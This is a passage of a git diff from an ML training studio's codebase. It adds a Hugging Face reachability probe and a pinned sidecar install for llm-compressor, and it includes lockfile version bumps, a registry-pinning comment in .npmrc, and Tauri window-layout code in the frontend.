+    max_project_chars = (
+        _MAX_RUN_DIR_NAME_CHARS - len("model") - len(_PROJECT_MARKER) - len(timestamp_suffix)
+    )
+    project_slug = _trim_segment(project_slug, max_project_chars) or "project"
+    project_suffix = f"{_PROJECT_MARKER}{project_slug}{timestamp_suffix}"
+    max_model_chars = _MAX_RUN_DIR_NAME_CHARS - len(project_suffix)
+    model_segment = _trim_segment(model_segment, max_model_chars) or "model"
+    return f"{model_segment}{project_suffix}"
+
+
+def model_segment_from_default_output_dir_name(output_dir_name: str) -> Optional[str]:
+    """Return the encoded model segment from a default run folder name."""
+    parts = str(output_dir_name or "").rsplit("_", 1)
+    if len(parts) != 2 or not parts[1].isdigit():
+        return None
+    model_segment = parts[0]
+    marker_index = _appended_project_marker_index(model_segment)
+    if marker_index >= 0:
+        model_segment = model_segment[:marker_index]
+    model_segment = _unescape_project_marker(model_segment)
+    return model_segment or None
+
+
+def extract_project_name(config: Any) -> Optional[str]:
+    """Read and normalize a project name from a stored config dict."""
+    if not isinstance(config, dict):
+        return None
+    return normalize_project_name(config.get("project_name"))
diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py
index 1d9ba88aa6..2a63caa5b2 100644
--- a/studio/backend/utils/transformers_version.py
+++ b/studio/backend/utils/transformers_version.py
@@ -46,13 +46,55 @@ from utils.subprocess_compat import (
 logger = get_logger(__name__)
 
 
+_OFFLINE_TRUE_VALUES = {"1", "true", "yes", "on"}
+
+
 def _env_offline() -> bool:
-    """True if HF_HUB_OFFLINE or TRANSFORMERS_OFFLINE is set to a truthy value."""
-    return os.environ.get("HF_HUB_OFFLINE", "").lower() in (
-        "1",
-        "true",
-        "yes",
-    ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes")
+    """True if an HF offline env var is truthy (canonical strip+lower parse); gates the urllib fetches below."""
+    return (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+    )
+
+
+def hf_endpoint_unreachable(timeout: int = 3) -> bool:
+    """Bounded reachability probe to the HF endpoint. A HEAD request runs in a daemon thread
+    joined with a deadline, so a resolver blackhole cannot block past ~timeout+1s. True if
+    unreachable. urllib natively honors *_PROXY / NO_PROXY, so this verifies real egress
+    (the proxy can reach HF), not just that the proxy is up. No ML imports, so it is safe to
+    call before transformers version activation. Mirrors the probe in export._hf_offline."""
+    import ssl
+    import threading
+    import urllib.error
+    import urllib.request
+
+    endpoint = os.environ.get("HF_ENDPOINT", "https://huggingface.co")
+    if "://" not in endpoint:
+        endpoint = "https://" + endpoint
+
+    result = {"online": False}
+
+    def _probe():
+        try:
+            req = urllib.request.Request(endpoint, method = "HEAD")
+            with urllib.request.urlopen(req, timeout = timeout):
+                result["online"] = True
+        except urllib.error.HTTPError as exc:
+            # The server/proxy answered: reachable unless it is a gateway error.
+            result["online"] = exc.code not in (502, 503, 504)
+        except urllib.error.URLError as exc:
+            # A TLS/cert failure means we DID reach the server; treat as reachable so the real
+            # load surfaces it (consistent with _is_offline_related_error not retrying TLS).
+            result["online"] = isinstance(exc.reason, ssl.SSLError)
+        except ssl.SSLError:
+            result["online"] = True
+        except Exception:
+            result["online"] = False
+
+    t = threading.Thread(target = _probe, daemon = True)
+    t.start()
+    t.join(timeout + 1)
+    return t.is_alive() or not result["online"]
 
 
 def _safe_is_file(p: Path) -> bool:
@@ -151,6 +193,8 @@ _TRANSFORMERS_5_TOKENIZER_CLASSES: set[str] = {
 
 # Caches keyed on (model_name, token-hash) so authed/unauthed reads stay separate (a
 # gated/private repo's unauthenticated miss must not poison a later authenticated lookup).
+# Offline negatives are NOT written (see the _env_offline branches) so they cannot poison a
+# later online read in this persistent worker.
 _tokenizer_class_cache: dict[tuple[str, str | None], bool] = {}
 _config_json_cache: dict[tuple[str, str | None], dict | None] = {}
 _config_needs_510_cache: dict[tuple[str, str | None], bool] = {}
@@ -182,6 +226,11 @@ _VENV_T5_510_DIR = str(_studio_root() / ".venv_t5_510")
 # Backwards-compat alias
 _VENV_T5_DIR = _VENV_T5_550_DIR
 
+# llm-compressor-main shadow for FP8/FP4 export of newer-transformers models. Like the .venv_t5_*
+# sidecars but also shadows llm-compressor main + compressed-tensors; installed --no-deps so it
+# reuses the workspace torch (torch-agnostic).
+_VENV_LLMCOMPRESSOR_DIR = str(_studio_root() / ".venv_llmcompressor")
+
 # Tier precedence: higher rank wins in _higher_tier.
 _TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3}
 
@@ -525,9 +574,9 @@ def _check_tokenizer_config_needs_v5(model_name: str, hf_token: str | None = Non
     if _safe_is_dir(local_path):
         return False
 
-    # Offline: skip the 10s urllib fetch (fail-open to lower tier).
+    # Offline: skip the 10s urllib fetch (fail-open to lower tier). Do NOT cache this
+    # assumed negative, so a later online read of the same id re-fetches the real value.
     if _env_offline():
-        _tokenizer_class_cache[cache_key] = False
         return False
 
     # --- Fall back to fetching from HuggingFace ----------------------------
@@ -633,9 +682,11 @@ def _load_config_json(model_name: str, hf_token: str | None = None) -> dict | No
         return None
 
     if _env_offline():
-        # No network: a previously downloaded repo can still tier from the hub cache.
+        # No network: a previously downloaded repo can still tier from the hub cache. Cache a
+        # real hit, but never the miss (None) so a later online read still fetches the config.
         cfg = _config_json_from_hf_cache(model_name)
-        _config_json_cache[cache_key] = cfg
+        if cfg is not None:
+            _config_json_cache[cache_key] = cfg
         return cfg
 
     import urllib.error
@@ -1472,6 +1523,152 @@ def _ensure_venv_t5_exists() -> bool:
     return _ensure_venv_t5_550_exists()
 
 
+# --- llm-compressor-main shadow (FP8/FP4 export of newer-transformers models) ---------------------
+# Exact, reproducible pins (bump deliberately in review). Full 40-char SHA validated to FP8-quantize
+# Qwen3.5 / Gemma-4 / Llama.
+_LLMC_MAIN_TRANSFORMERS = "5.10.2"
+_LLMC_MAIN_SHA = "973c9c539a84dd9efaf74e115ede5ca419704c18"
+_LLMC_MAIN_COMPRESSED_TENSORS = "0.17.2a20260702"
+# Installed --no-deps (torch untouched); the full runtime set llm-compressor main needs, pinned.
+_VENV_LLMCOMPRESSOR_SPECS = (
+    f"transformers=={_LLMC_MAIN_TRANSFORMERS}",
+    f"llmcompressor @ git+https://github.com/vllm-project/llm-compressor@{_LLMC_MAIN_SHA}",
+    f"compressed-tensors=={_LLMC_MAIN_COMPRESSED_TENSORS}",
+    "huggingface-hub==1.21.0",
+    "hf-xet==1.5.1",
+    "tokenizers==0.22.2",
+    "safetensors==0.8.0",
+    "accelerate==1.14.0",
+    "datasets==5.0.0",
+    "pydantic==2.13.4",
+    "pydantic-core==2.46.4",
+    "typing-inspection==0.4.2",
+    "loguru==0.7.3",
+    "pyyaml==6.0.3",
+    "nvidia-ml-py==13.610.43",
+    "pillow==12.3.0",
+    "auto-round==0.13.1",
+    "regex==2026.6.28",
+)
+# Fingerprint of the pin set; bump the trailing schema version to force a rebuild on layout changes.
+_LLMC_SHADOW_FINGERPRINT = (
+    f"{_LLMC_MAIN_SHA}|{_LLMC_MAIN_TRANSFORMERS}|{_LLMC_MAIN_COMPRESSED_TENSORS}|schema=1"
+)
+_LLMC_SHADOW_MARKER = ".unsloth_llmc_fingerprint"
+
+
+def _llmcompressor_main_disabled() -> bool:
+    """True if the operator forbids the llm-compressor-main shadow (air-gapped / locked-down)."""
+    return os.environ.get("UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN", "").strip().lower() in {
+        "1",
+        "true",
+        "yes",
+        "on",
+    }
+
+
+def _llmcompressor_shadow_is_valid() -> bool:
+    """True if the shadow dir exists with a marker matching the current pin fingerprint."""
+    marker = Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER
+    try:
+        return marker.is_file() and marker.read_text().strip() == _LLMC_SHADOW_FINGERPRINT
+    except Exception:
+        return False
+
+
+def _ensure_venv_llmcompressor_exists() -> bool:
+    """Ensure .venv_llmcompressor/ has the pinned llm-compressor-main stack. Install if missing.
+
+    All specs are installed with --no-deps into a --target dir (mirrors the transformers sidecars),
+    so the workspace torch is never touched. Returns True on success.
+    """
+    if _llmcompressor_shadow_is_valid():
+        return True
+    if _llmcompressor_main_disabled():
+        logger.warning(
+            "llm-compressor-main shadow needed but UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN is set; "
+            "compressed export of newer-transformers models will fail fast."
+        )
+        return False
+    if _env_offline():
+        logger.warning(
+            "llm-compressor-main shadow missing and HF/offline mode is set; cannot provision it."
+        )
+        return False
+
+    logger.warning(
+        "Provisioning llm-compressor-main shadow at %s (one-time, ~a few hundred MB, no torch) ...",
+        _VENV_LLMCOMPRESSOR_DIR,
+    )
+    shutil.rmtree(_VENV_LLMCOMPRESSOR_DIR, ignore_errors = True)
+    os.makedirs(_VENV_LLMCOMPRESSOR_DIR, exist_ok = True)
+
+    # Prefer uv (faster) then pip; install every spec at once, --no-deps, prereleases allowed
+    # (compressed-tensors ships as a pre-release).
+    base = [
+        "--target",
+        _VENV_LLMCOMPRESSOR_DIR,
+        "--no-deps",
+        "--prerelease=allow",
+        *_VENV_LLMCOMPRESSOR_SPECS,
+    ]
+    cmds = []
+    if shutil.which("uv"):
+        cmds.append(["uv", "pip", "install", "--python", sys.executable, *base])
+    cmds.append(
+        [
+            sys.executable,
+            "-m",
+            "pip",
+            "install",
+            *[a for a in base if a != "--prerelease=allow"],
+            "--pre",
+        ]
+    )
+
+    last_out = ""
+    for cmd in cmds:
+        result = subprocess.run(
+            cmd,
+            stdout = subprocess.PIPE,
+            stderr = subprocess.STDOUT,
+            text = True,
+            env = child_env_without_native_path_secret(),
+            **_windows_hidden_subprocess_kwargs(),
+        )
+        last_out = result.stdout or ""
+        if result.returncode == 0:
+            try:
+                (Path(_VENV_LLMCOMPRESSOR_DIR) / _LLMC_SHADOW_MARKER).write_text(
+                    _LLMC_SHADOW_FINGERPRINT
+                )
+            except Exception:
+                pass
+            logger.info("Provisioned llm-compressor-main shadow at %s", _VENV_LLMCOMPRESSOR_DIR)
+            return True
+        logger.warning("llm-compressor-main shadow install failed with %s; trying next", cmd[0])
+
+    logger.error(
+        "Failed to provision llm-compressor-main shadow (spec: llmcompressor@%s). Output:\n%s",
+        _LLMC_MAIN_SHA,
+        last_out[-4000:],
+    )
+    return False
+
+
+def llmcompressor_shadow_pythonpath() -> str | None:
+    """Provision (lazily) the llm-compressor-main shadow and return its sys.path entry, or None.
+
+    Returns None when the shadow is disabled (UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN), offline, or
+    provisioning failed - callers then fall back to the fail-fast path.
+    """
+    if _llmcompressor_main_disabled():
+        return None
+    if _ensure_venv_llmcompressor_exists():
+        return _VENV_LLMCOMPRESSOR_DIR
+    return None
+
+
 def _activate_venv(venv_dir: str, label: str) -> None:
     """Prepend *venv_dir* to sys.path, purge stale modules, reimport."""
     if venv_dir not in sys.path:
diff --git a/studio/backend/utils/uv_path_safety.py b/studio/backend/utils/uv_path_safety.py
new file mode 100644
index 0000000000..519014c71c
--- /dev/null
+++ b/studio/backend/utils/uv_path_safety.py
@@ -0,0 +1,66 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Hand uv a space-free `-c`/`--override`/`-r` file path (issue #6503).
+
+uv splits `-c`/`--override` (and UV_OVERRIDE) on whitespace, so a path with a
+space truncates. Windows uses the 8.3 short form; POSIX copies the file into a
+space-free temp dir (removed at exit). Falls back to the original path on error.
+Shared by install_python_stack and utils.mlx_repair.
+"""
+
+from __future__ import annotations
+
+import atexit
+import os
+import platform
+import shutil
+import tempfile
+
+IS_WINDOWS = platform.system() == "Windows"
+
+_UV_SAFE_PATH_TMPDIRS: list[str] = []
+
+
+@atexit.register
+def _cleanup_uv_safe_path_tmpdirs() -> None:
+    while _UV_SAFE_PATH_TMPDIRS:
+        shutil.rmtree(_UV_SAFE_PATH_TMPDIRS.pop(), ignore_errors = True)
+
+
+def uv_safe_path(path: object) -> str:
+    s = str(path)
+    if " " not in s:
+        return s
+    if IS_WINDOWS:
+        try:
+            import ctypes
+            from ctypes import wintypes
+
+            get_short = ctypes.windll.kernel32.GetShortPathNameW
+            get_short.argtypes = [wintypes.LPCWSTR, wintypes.LPWSTR, wintypes.DWORD]
+            get_short.restype = wintypes.DWORD
+            buf = ctypes.create_unicode_buffer(32768)
+            rc = get_short(s, buf, 32768)
+            if 0 < rc < 32768 and " " not in buf.value:
+                return buf.value
+        except Exception:
+            pass
+        return s
+    tmp_dir = None
+    try:
+        if not os.path.isfile(s):
+            return s
+        tmp_dir = tempfile.mkdtemp(prefix = "unsloth_uv_")
+        if " " in tmp_dir:  # e.g. TMPDIR itself has a space
+            shutil.rmtree(tmp_dir, ignore_errors = True)
+            return s
+        dst = os.path.join(tmp_dir, (os.path.basename(s) or "uv_args.txt").replace(" ", "_"))
+        shutil.copyfile(s, dst)
+        _UV_SAFE_PATH_TMPDIRS.append(tmp_dir)
+        tmp_dir = None
+        return dst
+    except Exception:
+        if tmp_dir is not None:  # don't leak the temp dir if the copy failed
+            shutil.rmtree(tmp_dir, ignore_errors = True)
+        return s
diff --git a/studio/frontend/.npmrc b/studio/frontend/.npmrc
index f2d15a4f15..19783b5ff4 100644
--- a/studio/frontend/.npmrc
+++ b/studio/frontend/.npmrc
@@ -14,9 +14,18 @@ min-release-age=7
 # `npm install <name>@<version> --save-exact` pass) but it stops new
 # carets from creeping into the manifest as patch-version footguns.
 save-exact=true
-# Lock the registry. A user-set PIP_INDEX_URL-style override (here:
-# NPM_CONFIG_REGISTRY env var or a stale ~/.npmrc) shouldn't redirect
-# our installs to an attacker registry.
+# Pin the default registry so a stale or hostile *lower-precedence* ~/.npmrc
+# can't silently redirect our installs to an attacker registry. Note this does
+# NOT block an ambient NPM_CONFIG_REGISTRY env var: npm and bun honor that at a
+# higher precedence than this project file. That is exactly why Unsloth does not
+# read NPM_CONFIG_REGISTRY and instead exposes one deliberate, explicit opt-in.
+#
+# Corporate mirror / proxy (issue #6491): if your firewall blocks
+# registry.npmjs.org, set UNSLOTH_NPM_REGISTRY=<your-mirror-url> when running
+# ./install.sh (or setup.sh / setup.ps1). The installer threads it as
+# `--registry <url>`, which overrides this line for both npm and bun while
+# leaving the min-release-age and save-exact locks above in force. Do not edit
+# this line for that -- the env var keeps the default pinned for everyone else.
 registry=https://registry.npmjs.org/
 audit-level=high
 fund=false
diff --git a/studio/frontend/package-lock.json b/studio/frontend/package-lock.json
index a521552d79..80db64553a 100644
--- a/studio/frontend/package-lock.json
+++ b/studio/frontend/package-lock.json
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-      "integrity": "sha512-ZrT53oAKrtA4+YtBWPQbtPOxIbVDbxT0orcYERKd63VJTF13zPcgXTvD4843L8pcsI7M6MErt8QtON6lrB9tyA==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/rolldown/-/rolldown-1.0.3.tgz",
+      "integrity": "sha512-i00lAJ2ks1BYr7rjNjKC7BcqAS7nVfiT3QX1SI5aY+AFHblCmaUf9OE9dbdzDvW6dJxbi2ZCZiy9v3CcwOiX3g==",
       "license": "MIT",
       "dependencies": {
-        "@oxc-project/types": "=0.127.0",
-        "@rolldown/pluginutils": "1.0.0-rc.17"
+        "@oxc-project/types": "=0.133.0",
+        "@rolldown/pluginutils": "^1.0.0"
       },
       "bin": {
         "rolldown": "bin/cli.mjs"
@@ -13992,27 +14049,27 @@
         "node": "^20.19.0 || >=22.12.0"
       },
       "optionalDependencies": {
-        "@rolldown/binding-android-arm64": "1.0.0-rc.17",
-        "@rolldown/binding-darwin-arm64": "1.0.0-rc.17",
-        "@rolldown/binding-darwin-x64": "1.0.0-rc.17",
-        "@rolldown/binding-freebsd-x64": "1.0.0-rc.17",
-        "@rolldown/binding-linux-arm-gnueabihf": "1.0.0-rc.17",
-        "@rolldown/binding-linux-arm64-gnu": "1.0.0-rc.17",
-        "@rolldown/binding-linux-arm64-musl": "1.0.0-rc.17",
-        "@rolldown/binding-linux-ppc64-gnu": "1.0.0-rc.17",
-        "@rolldown/binding-linux-s390x-gnu": "1.0.0-rc.17",
-        "@rolldown/binding-linux-x64-gnu": "1.0.0-rc.17",
-        "@rolldown/binding-linux-x64-musl": "1.0.0-rc.17",
-        "@rolldown/binding-openharmony-arm64": "1.0.0-rc.17",
-        "@rolldown/binding-wasm32-wasi": "1.0.0-rc.17",
-        "@rolldown/binding-win32-arm64-msvc": "1.0.0-rc.17",
-        "@rolldown/binding-win32-x64-msvc": "1.0.0-rc.17"
+        "@rolldown/binding-android-arm64": "1.0.3",
+        "@rolldown/binding-darwin-arm64": "1.0.3",
+        "@rolldown/binding-darwin-x64": "1.0.3",
+        "@rolldown/binding-freebsd-x64": "1.0.3",
+        "@rolldown/binding-linux-arm-gnueabihf": "1.0.3",
+        "@rolldown/binding-linux-arm64-gnu": "1.0.3",
+        "@rolldown/binding-linux-arm64-musl": "1.0.3",
+        "@rolldown/binding-linux-ppc64-gnu": "1.0.3",
+        "@rolldown/binding-linux-s390x-gnu": "1.0.3",
+        "@rolldown/binding-linux-x64-gnu": "1.0.3",
+        "@rolldown/binding-linux-x64-musl": "1.0.3",
+        "@rolldown/binding-openharmony-arm64": "1.0.3",
+        "@rolldown/binding-wasm32-wasi": "1.0.3",
+        "@rolldown/binding-win32-arm64-msvc": "1.0.3",
+        "@rolldown/binding-win32-x64-msvc": "1.0.3"
       }
     },
     "node_modules/rolldown/node_modules/@rolldown/pluginutils": {
-      "version": "1.0.0-rc.17",
-      "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.17.tgz",
-      "integrity": "sha512-n8iosDOt6Ig1UhJ2AYqoIhHWh/isz0xpicHTzpKBeotdVsTEcxsSA/i3EVM7gQAj0rU27OLAxCjzlj15IWY7bg==",
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.1.tgz",
+      "integrity": "sha512-2j9bGt5Jh8hj+vPtgzPtl72j0yRxHAyumoo6TNfAjsLB04UtpSvPbPcDcBMxz7n+9CYB0c1GxQFxYRg2jimqGw==",
       "license": "MIT"
     },
     "node_modules/roughjs": {
@@ -14275,52 +14332,6 @@
         "node": ">=20"
       }
     },
-    "node_modules/shadcn/node_modules/nanoid": {
-      "version": "3.3.12",
-      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz",
-      "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/ai"
-        }
-      ],
-      "license": "MIT",
-      "bin": {
-        "nanoid": "bin/nanoid.cjs"
-      },
-      "engines": {
-        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
-      }
-    },
-    "node_modules/shadcn/node_modules/postcss": {
-      "version": "8.5.14",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz",
-      "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==",
-      "funding": [
-        {
-          "type": "opencollective",
-          "url": "https://opencollective.com/postcss/"
-        },
-        {
-          "type": "tidelift",
-          "url": "https://tidelift.com/funding/github/npm/postcss"
-        },
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/ai"
-        }
-      ],
-      "license": "MIT",
-      "dependencies": {
-        "nanoid": "^3.3.11",
-        "picocolors": "^1.1.1",
-        "source-map-js": "^1.2.1"
-      },
-      "engines": {
-        "node": "^10 || ^12 || >=14"
-      }
-    },
     "node_modules/shadcn/node_modules/zod": {
       "version": "3.25.76",
       "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz",
@@ -14786,9 +14797,9 @@
       }
     },
     "node_modules/tinyglobby": {
-      "version": "0.2.16",
-      "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.16.tgz",
-      "integrity": "sha512-pn99VhoACYR8nFHhxqix+uvsbXineAasWm5ojXoN8xEwK5Kd3/TrhNn1wByuD52UxWRLy8pu+kRMniEi6Eq9Zg==",
+      "version": "0.2.17",
+      "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",
+      "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==",
       "license": "MIT",
       "dependencies": {
         "fdir": "^6.5.0",
@@ -15456,16 +15467,16 @@
       }
     },
     "node_modules/vite": {
-      "version": "8.0.10",
-      "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.10.tgz",
-      "integrity": "sha512-rZuUu9j6J5uotLDs+cAA4O5H4K1SfPliUlQwqa6YEwSrWDZzP4rhm00oJR5snMewjxF5V/K3D4kctsUTsIU9Mw==",
+      "version": "8.0.16",
+      "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.16.tgz",
+      "integrity": "sha512-h9bXPmJichP5fLmVQo3PyaGSDE2n3aPuomeAlVRm0JLmt4rY6zmPKd59HYI4LNW8oTK7tlTsuC7l/m7awx9Jcw==",
       "license": "MIT",
       "dependencies": {
         "lightningcss": "^1.32.0",
         "picomatch": "^4.0.4",
-        "postcss": "^8.5.10",
-        "rolldown": "1.0.0-rc.17",
-        "tinyglobby": "^0.2.16"
+        "postcss": "^8.5.15",
+        "rolldown": "1.0.3",
+        "tinyglobby": "^0.2.17"
       },
       "bin": {
         "vite": "bin/vite.js"
@@ -15481,7 +15492,7 @@
       },
       "peerDependencies": {
         "@types/node": "^20.19.0 || >=22.12.0",
-        "@vitejs/devtools": "^0.1.0",
+        "@vitejs/devtools": "^0.1.18",
         "esbuild": "^0.27.0 || ^0.28.0",
         "jiti": ">=1.21.0",
         "less": "^4.0.0",
@@ -15546,52 +15557,6 @@
         "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
       }
     },
-    "node_modules/vite/node_modules/nanoid": {
-      "version": "3.3.12",
-      "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.12.tgz",
-      "integrity": "sha512-ZB9RH/39qpq5Vu6Y+NmUaFhQR6pp+M2Xt76XBnEwDaGcVAqhlvxrl3B2bKS5D3NH3QR76v3aSrKaF/Kiy7lEtQ==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/ai"
-        }
-      ],
-      "license": "MIT",
-      "bin": {
-        "nanoid": "bin/nanoid.cjs"
-      },
-      "engines": {
-        "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
-      }
-    },
-    "node_modules/vite/node_modules/postcss": {
-      "version": "8.5.14",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.14.tgz",
-      "integrity": "sha512-SoSL4+OSEtR99LHFZQiJLkT59C5B1amGO1NzTwj7TT1qCUgUO6hxOvzkOYxD+vMrXBM3XJIKzokoERdqQq/Zmg==",
-      "funding": [
-        {
-          "type": "opencollective",
-          "url": "https://opencollective.com/postcss/"
-        },
-        {
-          "type": "tidelift",
-          "url": "https://tidelift.com/funding/github/npm/postcss"
-        },
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/ai"
-        }
-      ],
-      "license": "MIT",
-      "dependencies": {
-        "nanoid": "^3.3.11",
-        "picocolors": "^1.1.1",
-        "source-map-js": "^1.2.1"
-      },
-      "engines": {
-        "node": "^10 || ^12 || >=14"
-      }
-    },
     "node_modules/warning": {
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz",
diff --git a/studio/frontend/package.json b/studio/frontend/package.json
index c49b62ab50..a2eddecda3 100644
--- a/studio/frontend/package.json
+++ b/studio/frontend/package.json
@@ -86,7 +86,7 @@
     "@tanstack/router-core": "1.169.2",
     "@tanstack/history": "1.161.6",
     "mermaid": "11.15.0",
-    "hono": "4.12.21",
+    "hono": "4.12.25",
     "qs": "6.15.2",
     "ip-address": "10.1.1",
     "brace-expansion@5.0.5": "5.0.6"
@@ -107,7 +107,7 @@
     "globals": "^17.4.0",
     "typescript": "~5.9.3",
     "typescript-eslint": "^8.55.0",
-    "vite": "^8.0.1"
+    "vite": "^8.0.16"
   },
   "allowScripts": {
     "@biomejs/biome@1.9.4": true,
diff --git a/studio/frontend/src/app/provider.tsx b/studio/frontend/src/app/provider.tsx
index 802f22e21e..176665769d 100644
--- a/studio/frontend/src/app/provider.tsx
+++ b/studio/frontend/src/app/provider.tsx
@@ -6,6 +6,7 @@ import { UpdateBanner } from "@/components/tauri/update-banner";
 import { UpdateScreen } from "@/components/tauri/update-screen";
 import {
   WindowTitlebar,
+  shouldUseNativeMacWindowTitlebar,
   shouldUseCustomWindowTitlebar,
 } from "@/components/tauri/window-titlebar";
 import { Toaster } from "@/components/ui/sonner";
@@ -18,9 +19,16 @@ import { NativeIntentDrain } from "@/features/native-intents/native-intent-drain
 import { useTauriBackend, type BackendStatus } from "@/hooks/use-tauri-backend";
 import { useTauriUpdate } from "@/hooks/use-tauri-update";
 import { isTauri } from "@/lib/api-base";
+import { fetchDeviceType } from "@/config/env";
 import { useRouterState } from "@tanstack/react-router";
 import { ThemeProvider } from "next-themes";
-import { useEffect, useRef, useState, type ReactNode } from "react";
+import {
+  useEffect,
+  useRef,
+  useState,
+  type CSSProperties,
+  type ReactNode,
+} from "react";
 
 interface AppProviderProps {
   children: ReactNode;
@@ -31,18 +39,43 @@ type WindowLayoutGuard = () => boolean;
 
 const MIN_WINDOW_WIDTH = 900;
 const MIN_WINDOW_HEIGHT = 600;
+const SETUP_WINDOW_WIDTH = 760;
+const SETUP_WINDOW_HEIGHT = 560;
 
 async function showSetupWindow(isCurrent: WindowLayoutGuard): Promise<void> {
-  const { getCurrentWindow } = await import("@tauri-apps/api/window");
+  const { getCurrentWindow, LogicalSize } = await import("@tauri-apps/api/window");
   if (!isCurrent()) return;
 
   const win = getCurrentWindow();
+  await win.setResizable(false);
+  if (!isCurrent()) return;
+  await win.setSize(new LogicalSize(SETUP_WINDOW_WIDTH, SETUP_WINDOW_HEIGHT));
   if (!isCurrent()) return;
   await win.center();
   if (!isCurrent()) return;
   await win.show();
 }
 
+async function enforceMinimumWindowSize(
+  win: Awaited<ReturnType<typeof import("@tauri-apps/api/window")["getCurrentWindow"]>>,
+  LogicalSize: typeof import("@tauri-apps/api/window")["LogicalSize"],
+  isCurrent: WindowLayoutGuard,
+): Promise<void> {
+  const [innerSize, scaleFactor] = await Promise.all([
+    win.innerSize(),
+    win.scaleFactor(),
+  ]);
+  if (!isCurrent()) return;
+
+  const logicalWidth = Math.round(innerSize.width / scaleFactor);
+  const logicalHeight = Math.round(innerSize.height / scaleFactor);
+  const nextWidth = Math.max(logicalWidth, MIN_WINDOW_WIDTH);
+  const nextHeight = Math.max(logicalHeight, MIN_WINDOW_HEIGHT);
+  if (nextWidth !== logicalWidth || nextHeight !== logicalHeight) {
+    await win.setSize(new LogicalSize(nextWidth, nextHeight));
+  }
+}
+
 async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise<void> {
   const { getCurrentWindow, currentMonitor, LogicalSize } = await import("@tauri-apps/api/window");
   const { invoke } = await import("@tauri-apps/api/core");
@@ -91,6 +124,8 @@ async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise<void>
   // Apply constraints after restore/show: doing so before plugin restore can emit
   // a Resized event and overwrite the plugin's cached saved size.
   await win.setSizeConstraints({ minWidth: MIN_WINDOW_WIDTH, minHeight: MIN_WINDOW_HEIGHT });
+  if (!isCurrent()) return;
+  await enforceMinimumWindowSize(win, LogicalSize, isCurrent);
 }
 
 async function showWindowFallback(): Promise<void> {
@@ -123,7 +158,13 @@ function getTauriWindowMode(
   }
 }
 
-function TauriUpdateLayer({ isExternalServer }: { isExternalServer: boolean }) {
+function TauriUpdateLayer({
+  isExternalServer,
+  children,
+}: {
+  isExternalServer: boolean;
+  children?: ReactNode;
+}) {
   const update = useTauriUpdate(isExternalServer);
   const isUpdating =
     update.status === "updating-backend" ||
@@ -146,18 +187,22 @@ function TauriUpdateLayer({ isExternalServer }: { isExternalServer: boolean }) {
   }
 
   return (
-    <UpdateBanner
-      status={update.status}
-      info={update.info}
-      dismissed={update.dismissed}
-      lastFailure={update.lastFailure}
-      isExternalServer={isExternalServer}
-      updatePolicyMode={update.updatePolicyMode}
-      manualReleaseUrl={update.manualReleaseUrl}
-      onInstall={update.installUpdate}
-      onDismiss={update.dismiss}
-      onCopyDiagnostics={update.copyDiagnostics}
-    />
+    <div className="pointer-events-none fixed bottom-4 right-4 z-[9998] flex w-[calc(100vw-2rem)] max-w-[400px] flex-col items-stretch gap-2">
+      <UpdateBanner
+        status={update.status}
+        info={update.info}
+        dismissed={update.dismissed}
+        lastFailure={update.lastFailure}
+        isExternalServer={isExternalServer}
+        updatePolicyMode={update.updatePolicyMode}
+        manualReleaseUrl={update.manualReleaseUrl}
+        positioned={false}
+        onInstall={update.installUpdate}
+        onDismiss={update.dismiss}
+        onCopyDiagnostics={update.copyDiagnostics}
+      />
+      {children}
+    </div>
   );
 }
 
@@ -175,6 +220,35 @@ const WEB_UPDATE_HIDDEN_ROUTES = new Set([
   "/signup",
 ]);
 
+const MAC_NATIVE_CHROME_STYLE = {
+  "--studio-titlebar-height": "0px",
+  "--studio-mac-titlebar-height": "34px",
+  "--studio-mac-traffic-light-inset": "78px",
+  "--studio-startup-top-inset": "58px",
